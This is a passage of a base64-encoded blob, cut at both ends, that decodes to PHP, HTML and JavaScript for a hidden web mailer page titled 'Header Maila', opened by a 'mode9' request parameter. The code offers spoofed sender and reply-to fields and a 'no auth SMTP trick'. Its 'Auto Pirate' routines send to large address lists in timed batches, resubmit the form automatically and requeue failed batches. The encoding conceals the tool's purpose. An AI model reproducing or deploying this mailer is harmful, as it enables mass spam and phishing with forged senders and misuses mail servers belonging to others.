J5IHRvIHByb2Nlc3MgcmVzdCBvZiBmaWxlCmV4aXQoKTsKfQoKCgoKaWYgKGlzc2V0KCRfR0VUWydtb2RlOSddKSkgewoKCT8+CgoJPHRpdGxlPgoJSGVhZGVyIE1haWxhCgk8L3RpdGxlPgoJPHN0eWxlPgoJYm9keSwgaW5wdXQsIHRleHRhcmVhewoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsKCWNvbG9yOiAjZTFlMWUxOwoJfQoJYm9keXsKCQlvdmVyZmxvdy14OmhpZGRlbjsKCX0KCTwvc3R5bGU+CgoJPGJvZHkgb25sb2FkPSJ3b3JrZXIoKSI+Cgk8Y2VudGVyPgoJPD9waHAKCWlmIChpc3NldCgkX1NFU1NJT05bImF0dGFjaG1lbnQiXSkpewoJCWVjaG8gIkF0dGFjaG1lbnQ6ICIuJF9TRVNTSU9OWyJhdHRhY2htZW50Il07Cgl9Cgk/PgoJPGZvcm0gbWV0aG9kPSJwb3N0IiBpZD0ic2hpcCIgYWN0aW9uPSIiPgoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNtdHBfZnJvbV9lbWFpbCIgc2l6ZT0iNDUiIHZhbHVlPSIiIHBsYWNlaG9sZGVyPSJTbXRwIEZyb20gRW1haWwiIHN0eWxlPSJoZWlnaHQ6IDIuNWVtOyI+PGJyPgoJPGJyPgoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZyb21fbmFtZSIgc2l6ZT0iNDUiIHZhbHVlPSIiIHBsYWNlaG9sZGVyPSJGcm9tIE5hbWUiIHN0eWxlPSJoZWlnaHQ6IDIuNWVtOyI+PGJyPgoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZyb21fZW1haWwiIHNpemU9IjQ1IiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iRnJvbSBFbWFpbCIgc3R5bGU9ImhlaWdodDogMi41ZW07Ij48YnI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVwbHlfdG8iIHNpemU9IjQ1IiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iUmVwbHkgVG8gRW1haWwiIHN0eWxlPSJoZWlnaHQ6IDIuNWVtOyI+PGJyPgoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN1YmplY3QiIHNpemU9IjQ1IiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iU3ViamVjdCIgc3R5bGU9ImhlaWdodDogMi41ZW07Ij48YnI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImZpZWxkcyIgbmFtZT0iZmllbGRzIiBzaXplPSI0NSIgdmFsdWU9IiIgcGxhY2Vob2xkZXI9IkZpZWxkcyIgc3R5bGU9ImhlaWdodDogMi41ZW07Ij48YnI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InRlc3RlbWFpbCIgbmFtZT0idGVzdGVtYWlsIiBzaXplPSI0NSIgdmFsdWU9IiIgcGxhY2Vob2xkZXI9IlRlc3QgRW1haWxzIENvbW1hIFNlcGFyYXRlZCIgc3R5bGU9ImhlaWdodDogMi41ZW07Ij48YnI+CglFbWFpbCBMaXN0PGJyPgoJPHRleHRhcmVhIGlkPSJtYWlsbGlzdCIgbmFtZT0ibWFpbGxpc3QiIGNvbHM9IjQ1IiByb3dzPSIxNSI+PC90ZXh0YXJlYT48YnI+CglNZXNzYWdlIENvZGU8YnI+Cgk8dGV4dGFyZWEgbmFtZT0ibXNnIiBjb2xzPSI2NSIgcm93cz0iMTUiPjwvdGV4dGFyZWE+Cgk8YnI+Cgk8c3Ryb25nPlVzZSBObyBBdXRoIFNtdHAgVHJpY2s/IDwvc3Ryb25nPgoJW1tbTm88c3ViPjxpbnB1dCB0eXBlPSJyYWRpbyIgaWQ9Im5vIiBuYW1lPSJub0F1dGhTbXRwIiB2YWx1ZT0ibm8iPjwvc3ViPl1dXSBbW1smbmJzcDsmbmJzcDtZZXM8c3ViPjxpbnB1dCB0eXBlPSJyYWRpbyIgaWQ9InllcyIgbmFtZT0ibm9BdXRoU210cCIgdmFsdWU9InllcyI+PC9zdWI+XV1dCgkJCgk8YnI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJtZXNzYWdlIj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsaXN0IiBuYW1lPSJsaXN0Ij4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IlNlbmQiIHZhbHVlPSJTZW5kIE1lc3NhZ2UiIG9uQ2xpY2s9InJldHVybiBhdXRvUGlyYXRlKCdvbmNlJykiPgoKCTwvZm9ybT4KCgk8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIG9uY2xpY2s9InJldHVybiBhdXRvUGlyYXRlKCdjb250aW51b3VzJykiPltbOjpBdXRvIFBpcmF0ZTo6XV08L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKCkiIG9uY2xpY2s9ImV4cG9ydE1haWxlck9iamVjdCgpIj5bWzo6RXhwb3J0OjpdXTwvYT48YnI+PGEgaHJlZj0iamF2YXNjcmlwdDp3aW5kb3cuc3RvcCgpIiA+WFg6OlNUT1A6OlhYPC9hPjxicj4KCgk8YnI+Cgk8c3Ryb25nPgoJCQoJPGRpdiBpZD0idG9wbmF2IiBjbGFzcz0idG9wbmF2aWdhdGlvbiBzY3JvbGxpbmciPjxmb250IGNvbG9yPSJ5ZWxsb3ciPlNUQVRTOjwvZm9udD48YnIgLz4mbmJzcDsmbmJzcDs8Zm9udCBjb2xvcj0iZ3JlZW4iPlNFTlQgTUFJTFM6IDxzcGFuIGlkPSJzZW50Ij4wPC9zcGFuPjwvZm9udD48YnIgLz4KCTxmb250IGNvbG9yPSJncmVlbiI+TlVNQkVSIE9GIFJFTE9BRFM6IDxzcGFuIGlkPSJyZWxvYWRzIj4wPC9zcGFuPjwvZm9udD4KCTwvZGl2PgoJPC9zdHJvbmc+CgoJPHN0eWxlPgoJLnRvcG5hdmlnYXRpb24gewoJCXBvc2l0aW9uOnN0YXRpYzsKCX0KCS50b3BuYXZpZ2F0aW9uLnNjcm9sbGluZyB7CgkJcG9zaXRpb246Zml4ZWQ7CgkJdG9wOjMwcHg7Cgl9Cgk8L3N0eWxlPgoJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJZnVuY3Rpb24gYnlOYW1lKG5hbWUpIHsKCQlyZXR1cm4gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUobmFtZSlbMF07Cgl9CglmdW5jdGlvbiBieUlkKGlkKSB7CgkJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsKCX0KCWZ1bmN0aW9uIHNldFZhbHVlT2ZOYW1lKG5hbWUsIG5ld1ZhbHVlKSB7CgkJYnlOYW1lKG5hbWUpLnZhbHVlID0gbmV3VmFsdWU7Cgl9CglmdW5jdGlvbiBnZXRWYWx1ZU9mTmFtZShuYW1lKSB7CgkJcmV0dXJuIGJ5TmFtZShuYW1lKS5nZXRBdHRyaWJ1dGUoInZhbHVlIik7Cgl9CglmdW5jdGlvbiBzZXRBdHRyaWJ1dGVPZk5hbWUobmFtZSwgYXR0cmlidXRlTmFtZSwgbmV3VmFsdWUpIHsKCQlieU5hbWUobmFtZSkuc2V0QXR0cmlidXRlKGF0dHJpYnV0ZU5hbWUsIG5ld1ZhbHVlKTsKCX0KCWZ1bmN0aW9uIGdldFZhbHVlT2ZJZChpZCkgewoJCXJldHVybiBieUlkKGlkKS5nZXRBdHRyaWJ1dGUoInZhbHVlIik7Cgl9CglmdW5jdGlvbiBzZXRWYWx1ZU9mSWQoaWQsIG5ld1ZhbHVlKSB7CgkJYnlJZChpZCkuc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIG5ld1ZhbHVlKTsKCX0KCWZ1bmN0aW9uIHNldEF0dHJpYnV0ZU9mSWQoaWQsIGF0dHJpYnV0ZU5hbWUsIG5ld1ZhbHVlKSB7CgkJYnlJZChpZCkuc2V0QXR0cmlidXRlKGF0dHJpYnV0ZU5hbWUsIG5ld1ZhbHVlKTsKCX0KCWZ1bmN0aW9uIGdsdWUoKSB7CgkJdmFyIHRlc3RFbWFpbElucHV0ID0gbWFpbGVyT2JqZWN0RigpLnRlc3RlbWFpbDsKCQl2YXIgZmllbGRzSW5wdXQgPSBtYWlsZXJPYmplY3RGKCkuZmllbGRzOwoJCXZhciBtYWlsTGlzdElucHV0ID0gYnlOYW1lKCJtYWlsbGlzdCIpLnZhbHVlOwoJCXZhciBwYXJ0cyA9IFtmaWVsZHNJbnB1dCwgbWFpbExpc3RJbnB1dCwgdGVzdEVtYWlsSW5wdXRdOwoJCXNldFZhbHVlT2ZOYW1lKCdsaXN0JywgcGFydHMuam9pbigiXG4iKSk7CgkJLy90ZXN0IGlmIHRoZXJlIGFyZSBzdHJhbmdlIGNoYXJhY3RlcnMgaW4gbWVzc2FnZQoJCXZhciBtc2dWYWx1ZTsKCQl0cnkgewoJCQltc2dWYWx1ZSA9IGJ0b2EobWFpbGVyT2JqZWN0RigpLm1zZyk7CgkJfQoJCWNhdGNoIChlKSB7CgkJCXZhciBlbmNvZGVkU3RyID0gZW5jb2RlSFRNTChtYWlsZXJPYmplY3RGKCkubXNnKS5yZXBsYWNlKC9bXHUwMEEwLVx1OTk5OTw+XCZdL2csIGZ1bmN0aW9uIChpKSB7CgkJCQlyZXR1cm4gJyYjJyArIGkuY2hhckNvZGVBdCgwKSArICc7JzsKCQkJfSk7CgkJCW1zZ1ZhbHVlID0gdXRvYShtYWlsZXJPYmplY3RGKCkubXNnKTsKCQl9CgkJc2V0VmFsdWVPZk5hbWUoJ21lc3NhZ2UnLCBtc2dWYWx1ZSk7Cgl9CgkKCWZ1bmN0aW9uIHV0b2EoZGF0YSkgewoJCXJldHVybiBidG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChkYXRhKSkpOwoJfQoJCglmdW5jdGlvbiBlbmNvZGVIVE1MKHN0cil7CgkJcmV0dXJuIHN0ci5yZXBsYWNlKC8oW1x1MDBBMC1cdTk5OTk8PiZdKSgufCQpL2csIGZ1bmN0aW9uKGZ1bGwsIGNoYXIsIG5leHQpIHsKCQlpZihjaGFyICE9PSAnJicgfHwgbmV4dCAhPT0gJyMnKXsKCQkJaWYoL1tcdTAwQTAtXHU5OTk5PD4mXS8udGVzdChuZXh0KSkKCQkJbmV4dCA9ICcmIycgKyBuZXh0LmNoYXJDb2RlQXQoMCkgKyAnOyc7CgoJCQlyZXR1cm4gJyYjJyArIGNoYXIuY2hhckNvZGVBdCgwKSArICc7JyArIG5leHQ7CgkJfQoKCQlyZXR1cm4gZnVsbDsKCQl9KTsKCX0KCWZ1bmN0aW9uIHByZWZpbGwoKSB7CgkJdmFyIGlucHV0cyA9IFsnc210cF9mcm9tX2VtYWlsJywgJ2Zyb21fbmFtZScsICdmcm9tX2VtYWlsJywgJ3JlcGx5X3RvJywgJ3N1YmplY3QnLCAnZmllbGRzJywgJ3Rlc3RlbWFpbCcsICdtc2cnXTsKCQkvL2RlZmF1bHQKCQlzZXRBdHRyaWJ1dGVPZklkKCJubyIsICJjaGVja2VkIiwgImNoZWNrZWQiKTsKCQlpZiAodHlwZW9mIGxvY2FsU3RvcmFnZS5tYWlsZXJPYmplY3QgIT0gJ3VuZGVmaW5lZCcpIHsKCQkJdmFyIG1haWxlck9iamVjdCA9IEpTT04ucGFyc2UobG9jYWxTdG9yYWdlLm1haWxlck9iamVjdCk7CgkJCWZvciAodmFyIGkgPSAwOyBpIDwgaW5wdXRzLmxlbmd0aDsgaSsrKSB7CgkJCQlzZXRWYWx1ZU9mTmFtZShpbnB1dHNbaV0sIG1haWxlck9iamVjdFtpbnB1dHNbaV1dKTsKCQkJfQoJCQkvL3doZXRoZXIgdG8gdXNlIG5vIGF1dGggc210cCB0cmljawoJCQlpZiAobWFpbGVyT2JqZWN0Wydub0F1dGhTbXRwJ10gPT0gInllcyIpIHsKCQkJCXNldEF0dHJpYnV0ZU9mSWQoInllcyIsICJjaGVja2VkIiwgImNoZWNrZWQiKTsKCQkJfQoJCQllbHNlIHsKCQkJCXNldEF0dHJpYnV0ZU9mSWQoIm5vIiwgImNoZWNrZWQiLCAiY2hlY2tlZCIpOwoJCQl9CgkJfQoJfQoJZnVuY3Rpb24gbG9nKHdoYXQpIHsKCQlpZiAodHlwZW9mIGxvY2FsU3RvcmFnZS5zaWxlbmNlICE9ICd1bmRlZmluZWQnICYmCgkJCWxvY2FsU3RvcmFnZS5zaWxlbmNlICE9ICd5ZXMnKSB7CgkJCWNvbnNvbGUubG9nKHdoYXQpOwoJCX0KCX0KCS8vdGhpcyBtZXRob2QgbWlnaHQgcGVyZm9yYXRlIGhvbGVzIGluIHRoZSBwcm9ncmFtIG5lZWQgdG8gCgkvL2JlIG1vcmUgc3BlY2lmaWMgYWJvdXQgcmV0dXJuIHR5cGUKCWZ1bmN0aW9uIGluY3JlbWVudChsaW5rKSB7CgkJdmFyIHBhcnRzID0gbGluay5zcGxpdCgnLCcpOwoJCWlmIChwYXJ0cy5sZW5ndGggPCAzKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJdmFyIHN0YXJ0ID0gcGFydHNbMV07CgkJdmFyIHN0b3AgPSBwYXJ0c1syXTsKCQl2YXIgbnVzdGFydCA9IHBhcnNlSW50KHBhcnRzWzFdKSArIDE7CgkJaWYgKG51c3RhcnQgPCBwYXJzZUludChzdG9wKSkgewoJCQlwYXJ0c1sxXSA9IG51c3RhcnQudG9TdHJpbmcoKTsKCQkJcmV0dXJuIHBhcnRzLmpvaW4oJywnKTsKCQl9CgkJZWxzZSB7CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9CglmdW5jdGlvbiBhZGRUb1NlbnQobGluZSkgewoJCS8vbGV0cyByZW1vdmUgaXQgZnJvbSBsYXN0IHNlbnQgYmF0Y2guCgkJaWYgKHR5cGVvZiBsb2NhbFN0b3JhZ2UubGFzdEJhdGNoICE9ICd1bmRlZmluZWQnKSB7CgkJCWxvY2FsU3RvcmFnZS5sYXN0QmF0Y2ggPSBsb2NhbFN0b3JhZ2UubGFzdEJhdGNoLnJlcGxhY2UobGluZSArICJcbiIsICcnKTsKCQkJbG9jYWxTdG9yYWdlLmxhc3RCYXRjaCA9IGxvY2FsU3RvcmFnZS5sYXN0QmF0Y2gucmVwbGFjZShsaW5lLCAnJyk7CgkJfQoJCXZhciBudW1NYWlsU2VudCA9IDA7CgkJaWYgKHR5cGVvZiBsb2NhbFN0b3JhZ2UubnVtTWFpbFNlbnQgIT0gInVuZGVmaW5lZCIpIHsKCQkJbnVtTWFpbFNlbnQgPSBOdW1iZXIobG9jYWxTdG9yYWdlLm51bU1haWxTZW50KTsKCQl9CgkJbG9jYWxTdG9yYWdlLm51bU1haWxTZW50ID0gbnVtTWFpbFNlbnQgKyAxOwoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZW50JykuaW5uZXJIVE1MID0gbG9jYWxTdG9yYWdlLm51bU1haWxTZW50OwoJfQoJZnVuY3Rpb24gYWRkVG9GYWlsZWQoKSB7CgkJdmFyIG51bU1haWxGYWlsZWQgPSAwOwoJCWlmICh0eXBlb2YgbG9jYWxTdG9yYWdlLm51bU1haWxGYWlsZWQgIT0gInVuZGVmaW5lZCIpIHsKCQkJbnVtTWFpbEZhaWxlZCA9IE51bWJlcihsb2NhbFN0b3JhZ2UubnVtTWFpbEZhaWxlZCk7CgkJfQoJCWxvY2FsU3RvcmFnZS5udW1NYWlsRmFpbGVkID0gbnVtTWFpbEZhaWxlZCArIDE7Cgl9CglmdW5jdGlvbiBzdWJtaXRGb3JtKCkgewoJCWxvZyh0aGlzLmNhbGxlcik7CgkJLy93aW5kb3cuc3RvcCgpOwoJCWJ5SWQoJ3NoaXAnKS5zdWJtaXQoKTsKCQkvL29ubHkgZG8gdGhpcyBpZiB3ZSdyZSBpbiBhdXRvIHBpcmF0ZSBtb2RlLgoJCXZhciBtYWlsZXJPYmplY3QgPSBpbml0TWFpbGVyT2JqZWN0KCk7CgkJaWYgKG1haWxlck9iamVjdC5tYWlsbGlzdC5sZW5ndGggPiAwKSB7CgkJCWxvZygicmVzdWJtaXR0aW5nIGZvcm0iKTsKCQkJc2V0VGltZW91dChmdW5jdGlvbiAoKSB7IHN1Ym1pdEZvcm0oKTsgfSwgMTIwMDAwKTsKCQl9Cgl9CglmdW5jdGlvbiBpbml0TWFpbGVyT2JqZWN0KCkgewoJCWlmICh0eXBlb2YgbWFpbGVyT2JqZWN0RigpID09ICd1bmRlZmluZWQnKSB7CgkJCWlmKHR5cGVvZiBsb2NhbFN0b3JhZ2UubWFpbGVyT2JqZWN0ID09ICd1bmRlZmluZWQnKXsKCQkJCWxvY2FsU3RvcmFnZS5tYWlsZXJPYmplY3QgPSAie30iOwoJCQl9CgkJCXNldE1haWxlck9iamVjdChKU09OLnBhcnNlKGxvY2FsU3RvcmFnZS5tYWlsZXJPYmplY3QpKTsKCQl9CgkJcmV0dXJuIG1haWxlck9iamVjdEYoKTsKCX0KCWZ1bmN0aW9uIG1haWxlck9iamVjdEYoKSB7CgkJcmV0dXJuIHdpbmRvdy5tYWlsZXJPYmplY3Q7Cgl9CglmdW5jdGlvbiBzZXRNYWlsZXJPYmplY3QobWFpbGVyT2JqZWN0KSB7CgkJd2luZG93Lm1haWxlck9iamVjdCA9IG1haWxlck9iamVjdDsKCX0KCWZ1bmN0aW9uIHNldE1haWxlck9iamVjdEtleShrZXksIHZhbHVlKSB7CgkJd2luZG93Lm1haWxlck9iamVjdFtrZXldID0gdmFsdWU7Cgl9CglmdW5jdGlvbiBzZXRXaW5kb3dQcm9wZXJ0eShrZXksIHZhbHVlKSB7CgkJd2luZG93LmtleSA9IHZhbHVlOwoJfQoJZnVuY3Rpb24gYXV0b1BpcmF0ZSh3aGF0KSB7CgkJbG9jYWxTdG9yYWdlLm51bWJlck9mUmVsb2FkcyA9IDA7CgkJdmFyIHBlclNlbmQ7CgkJaWYgKHdoYXQgPT0gIm9uY2UiKSB7CgkJCXBlclNlbmQgPSBieU5hbWUoJ21haWxsaXN0JykudmFsdWUuc3BsaXQoIlxuIikubGVuZ3RoOwoJCX0KCQllbHNlIHsKCQkJcGVyU2VuZCA9IE51bWJlcihwcm9tcHQoJ2hvdyBtYW55IGVtYWlscyB0byBzZW5kIGVhY2ggdGltZT8nLCBTdHJpbmcoNTAwKSkpOwoJCQkvL3BlclNlbmQgPSBwYXJzZUludChwZXJTZW5kKTsKCQl9CgkJdmFyIGlucHV0cyA9IFsnc210cF9mcm9tX2VtYWlsJywgJ2Zyb21fbmFtZScsICdmcm9tX2VtYWlsJywgJ3JlcGx5X3RvJywgJ3N1YmplY3QnLCAnZmllbGRzJywgJ3Rlc3RlbWFpbCcsICdtc2cnXTsKCQlzZXRNYWlsZXJPYmplY3Qoe30pOwoJCWZvciAodmFyIGkgPSAwOyBpIDwgaW5wdXRzLmxlbmd0aDsgaSsrKSB7CgkJCXNldE1haWxlck9iamVjdEtleShpbnB1dHNbaV0sIGJ5TmFtZShpbnB1dHNbaV0pLnZhbHVlKTsKCQl9CgkJdmFyIG1haWxsaXN0ID0gYnlOYW1lKCdtYWlsbGlzdCcpLnZhbHVlLnNwbGl0KCJcbiIpOwoJCS8vc2V0V2luZG93UHJvcGVydHkoIm1haWxsaXN0IiwgbWFpbGxpc3QpOwoJCWxvY2FsU3RvcmFnZS50b3RhbCA9IG1haWxsaXN0Lmxlbmd0aDsKCQl2YXIga2VlcEZpcnN0SXRlbSA9IG1haWxsaXN0WzBdOwoJCXZhciB0aGlzTWFpbGxpc3QgPSBtYWlsbGlzdC5zcGxpY2UoMCwgcGVyU2VuZCk7IC8vbWFpbHMgdG8gc2VuZCBub3cKCQlpZiAod2hhdCAhPSAnb25jZScpIHsKCQkJbG9jYWxTdG9yYWdlLmxhc3RCYXRjaCA9IHRoaXNNYWlsbGlzdC5qb2luKCJcbiIpOwoJCX0KCQllbHNlIHsKCQkJbG9jYWxTdG9yYWdlLmxhc3RCYXRjaCA9ICcnOwoJCX0KCQl2YXIgZmlyc3RMZXR0ZXJzID0ga2VlcEZpcnN0SXRlbS5zdWJzdHIoMCwgNyk7CgkJaWYgKGZpcnN0TGV0dGVycyA9PSAnaHR0cDovLycgfHwgZmlyc3RMZXR0ZXJzID09ICdodHRwczovJykgewoJCQl2YXIgbnVsaW5rID0gaW5jcmVtZW50KGtlZXBGaXJzdEl0ZW0pOwoJCQl2YXIgdGVtcE1haWxMaXN0ID0gKHR5cGVvZiAobnVsaW5rKSA9PSAic3RyaW5nIikgPyBbbnVsaW5rXSA6IFtdOwoJCQlzZXRNYWlsZXJPYmplY3RLZXkoIm1haWxsaXN0IiwgdGVtcE1haWxMaXN0KTsKCQl9CgkJZWxzZSB7CgkJCXZhciB0ZW1wTWFpbExpc3QgPSBtYWlsbGlzdDsgLy9yZW1haW5pbmcgZW1haWxzCgkJCXNldE1haWxlck9iamVjdEtleSgibWFpbGxpc3QiLCB0ZW1wTWFpbExpc3QpOwoJCX0KCQlpZiAoYnlJZCgneWVzJykuY2hlY2tlZCkgewoJCQltYWlsZXJPYmplY3RGKCkubm9BdXRoU210cCA9ICJ5ZXMiOwoJCX0KCQllbHNlIHsKCQkJbWFpbGVyT2JqZWN0RigpLm5vQXV0aFNtdHAgPSAibm8iOwoJCX0KCQltYWlsZXJPYmplY3RGKCkucGVyU2VuZCA9IHBlclNlbmQ7CgkJLy9zdG9yZSBtYWlsZXJPYmplY3QKCQlsb2NhbFN0b3JhZ2UubWFpbGVyT2JqZWN0ID0gSlNPTi5zdHJpbmdpZnkobWFpbGVyT2JqZWN0RigpKTsKCQlsb2NhbFN0b3JhZ2UucGVyU2VuZCA9IHBlclNlbmQ7CgkJYnlOYW1lKCdtYWlsbGlzdCcpLnZhbHVlID0gdGhpc01haWxsaXN0LmpvaW4oIlxuIik7CgkJZ2x1ZSgpOwoJCWxvY2FsU3RvcmFnZS5udW1NYWlsU2VudCA9IDA7CgkJbG9jYWxTdG9yYWdlLm51bU1haWxGYWlsZWQgPSAwOwoJCXN1Ym1pdEZvcm0oKTsKCQlyZXR1cm4gZmFsc2U7Cgl9CglmdW5jdGlvbiBwaXJhdGUoKSB7CgkJbG9nKHRoaXMuY2FsbGVyKTsKCQkvL3JlcXVldWUgYW55IGxlZnQgb3ZlciBhdXRvbWF0aWNhbGx5IGFueXRpbWUgdGhpcyBmdW5jdGlvbiB3YXMgY2FsbGVkLgoJCXJlcXVldWUoKTsKCQkvL2NoZWNrIHRvIHNlZSBpZiB0aGVyZSBpcyBzb21lIGVtYWlscyB0byBiZSBzZW50LgoJCWlmICh0eXBlb2YgbG9jYWxTdG9yYWdlLm1haWxlck9iamVjdCAhPSAndW5kZWZpbmVkJykgewoJCQl2YXIgaW5wdXRzID0gWydzbXRwX2Zyb21fZW1haWwnLCAnZnJvbV9uYW1lJywgJ2Zyb21fZW1haWwnLCAncmVwbHlfdG8nLCAnc3ViamVjdCcsICdmaWVsZHMnLCAndGVzdGVtYWlsJywgJ21zZyddOwoJCQlzZXRNYWlsZXJPYmplY3QoSlNPTi5wYXJzZShsb2NhbFN0b3JhZ2UubWFpbGVyT2JqZWN0KSk7CgkJCWZvciAodmFyIGkgPSAwOyBpIDwgaW5wdXRzLmxlbmd0aDsgaSsrKSB7CgkJCQlzZXRNYWlsZXJPYmplY3RLZXkoaW5wdXRzW2ldLCBieU5hbWUoaW5wdXRzW2ldKS52YWx1ZSk7CgkJCX0KCQkJaWYgKG1haWxlck9iamVjdEYoKS5tYWlsbGlzdC5sZW5ndGggPiAwKSB7CgkJCQkvL2lmIG1haWxsaXN0IGlzIHNtYWxsIHNlbmQgYSBtZXNzYWdlIHJlcXVlc3RpbmcgZm9yIG1vcmUuCgkJCQlpZiAobWFpbGVyT2JqZWN0RigpLm1haWxsaXN0Lmxlbmd0aCA8IDIwMCkgewoJCQkJCXRyeSB7CgkJCQkJCXBhcmVudC5sb2FkTWFpbHMoKTsKCQkJCQl9CgkJCQkJY2F0Y2ggKGUpIHsgfQoJCQkJfQoJCQkJLy9tYWlsbGlzdCB3aWxsIGJlIHB1bGxlZCBmcm9tIG1haWxlck9iamVjdC4KCQkJCXZhciBrZWVwRmlyc3RJdGVtID0gbWFpbGVyT2JqZWN0RigpLm1haWxsaXN0WzBdOwoJCQkJdmFyIHRoaXNNYWlsbGlzdCA9IG1haWxlck9iamVjdEYoKS5tYWlsbGlzdC5zcGxpY2UoMCwgTnVtYmVyKGxvY2FsU3RvcmFnZS5wZXJTZW5kKSkuam9pbigiXG4iKTsKCQkJCWJ5TmFtZSgnbWFpbGxpc3QnKS52YWx1ZSA9IHRoaXNNYWlsbGlzdDsKCQkJCWxvY2FsU3RvcmFnZS5sYXN0QmF0Y2ggPSB0aGlzTWFpbGxpc3Q7CgkJCQl2YXIgZmlyc3RMZXR0ZXJzID0ga2VlcEZpcnN0SXRlbS5zdWJzdHIoMCwgNyk7CgkJCQlpZiAoZmlyc3RMZXR0ZXJzID09ICdodHRwOi8vJyB8fCBmaXJzdExldHRlcnMgPT0gJ2h0dHBzOi8nKSB7CgkJCQkJdmFyIG51bGluayA9IGluY3JlbWVudChrZWVwRmlyc3RJdGVtKTsKCQkJCQlpZiAodHlwZW9mIG51bGluayA9PSAnc3RyaW5nJykgewoJCQkJCQltYWlsZXJPYmplY3RGKCkubWFpbGxpc3QgPSAodHlwZW9mIChudWxpbmspID09ICJzdHJpbmciKSA/IFtudWxpbmtdIDogW107CgkJCQkJfQoJCQkJCWVsc2UgewoJCQkJCQlhbGVydCgibWFsZm9ybWVkIGVtYWlsIGxpc3QgdXJsIik7CgkJCQkJfQoJCQkJfQoJCQkJbG9jYWxTdG9yYWdlLm1haWxlck9iamVjdCA9IEpTT04uc3RyaW5naWZ5KG1haWxlck9iamVjdEYoKSk7CgkJCQkvL2FsZXJ0KCdzZW5kaW5nJyk7CgkJCQlnbHVlKCk7CgkJCQlzdWJtaXRGb3JtKCk7CgkJCQkvL2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzaGlwJykuc3VibWl0KCk7CgkJCX0KCQl9Cgl9CglmdW5jdGlvbiByZXF1ZXVlKCkgewoJCWlmICh0eXBlb2YgbG9jYWxTdG9yYWdlLmxhc3RCYXRjaCAhPSAndW5kZWZpbmVkJykgewoJCQkvL3dpcGluZyBvZmYgbGFzdGJhdGNoIHNvIGl0IGlzIG5vdCByZXRyaWVkCgkJCS8vY29zIGRpcmVjdHNlbmQgaXMgZmluaWNreQoJCQlpZiAobG9jYXRpb24uaHJlZi5pbmRleE9mKCdkaXJlY3RzZW5kJykgIT0gLTEpIHsKCQkJCWxvY2FsU3RvcmFnZS5sYXN0QmF0Y2ggPSAnJzsKCQkJfQoJCQl2YXIgbGFzdEJhdGNoID0gbG9jYWxTdG9yYWdlLmxhc3RCYXRjaC5tYXRjaCgvW15cblxyXSsvZyk7CgkJCS8vbmVlZCB0byBhcHBlbmQgbGFzdGJhdGNoIHRvIG1haWxlck9iamVjdAoJCQlpbml0TWFpbGVyT2JqZWN0KCk7CgkJCWlmIChsYXN0QmF0Y2ggIT0gbnVsbCkgewoJCQkJbWFpbGVyT2JqZWN0RigpLm1haWxsaXN0ID0gbWFpbGVyT2JqZWN0RigpLm1haWxsaXN0LmNvbmNhdChsYXN0QmF0Y2gpOwoJCQkJLy9uZWVkIHRvIHNhdmUgb2JqZWN0IGp1c3QgaW4gY2FzZSBzb21ldGhpbmcgZ29lcyB3cm9uZwoJCQkJLy9hbmQgdGhlcmUgd2FzIG5vIGNoYW5jZSB0byB3cml0ZSBpdCBiYWNrLgoJCQkJbG9jYWxTdG9yYWdlLm1haWxlck9iamVjdCA9IEpTT04uc3RyaW5naWZ5KG1haWxlck9iamVjdEYoKSk7CgkJCX0KCQkJbG9jYWxTdG9yYWdlLmxhc3RCYXRjaCA9ICcnOwoJCX0KCX0KCWZ1bmN0aW9uIHNlbmRpbmdUaW1lcigpIHsKCQkvL21haWxvYmplY3QubWFpbGxpc3QgY2hlY2sgbWVhbnMgYW55IGxhc3QgbGVmdG92ZXIgaW4gbGFzdGJhdGNoCgkJLy93aWxsIG5vdCBiZSBzZW50IGlmIG1haWxsaXN0IGlzIGVtcHR5LiBuZWVkIHRvIGNvcnJlY3QgdGhhdC4KCQlpZiAodHlwZW9mIHdpbmRvdy5zdGFydENoZWNraW5nICE9ICd1bmRlZmluZWQnICYmCgkJCXR5cGVvZiBtYWlsZXJPYmplY3RGKCkgIT0gInVuZGVmaW5lZCIgJiYKCQkJKG1haWxlck9iamVjdEYoKS5tYWlsbGlzdC5sZW5ndGggPiAwIHx8CgkJCQlsb2NhbFN0b3JhZ2UubGFzdEJhdGNoLmxlbmd0aCA+IDApKSB7CgkJCXdpbmRvdy5zY3JvbGxUbygwLCAwKTsKCQkJLy9iZWZvcmUgcGlyYXRlIGlzIGNhbGxlZCBpbiwgd2Ugc2hvdWxkIG1vdmUgCgkJCS8vdW5zZW50IGluIGxhc3QgYmF0Y2ggYmFjayBpbnRvIHRoZSBxdWV1ZQoJCQlsb2coJ3RpbWUgdXAhIHJlc2VuZGluZycpOwoJCQl3aW5kb3cuc3RvcCgpOwoJCQlwaXJhdGUoKTsKCQl9CgkJZWxzZSB7CgkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgeyBzZW5kaW5nVGltZXIoKTsgfSwgMjQwMDAwKTsKCQl9Cgl9CglmdW5jdGlvbiB3b3J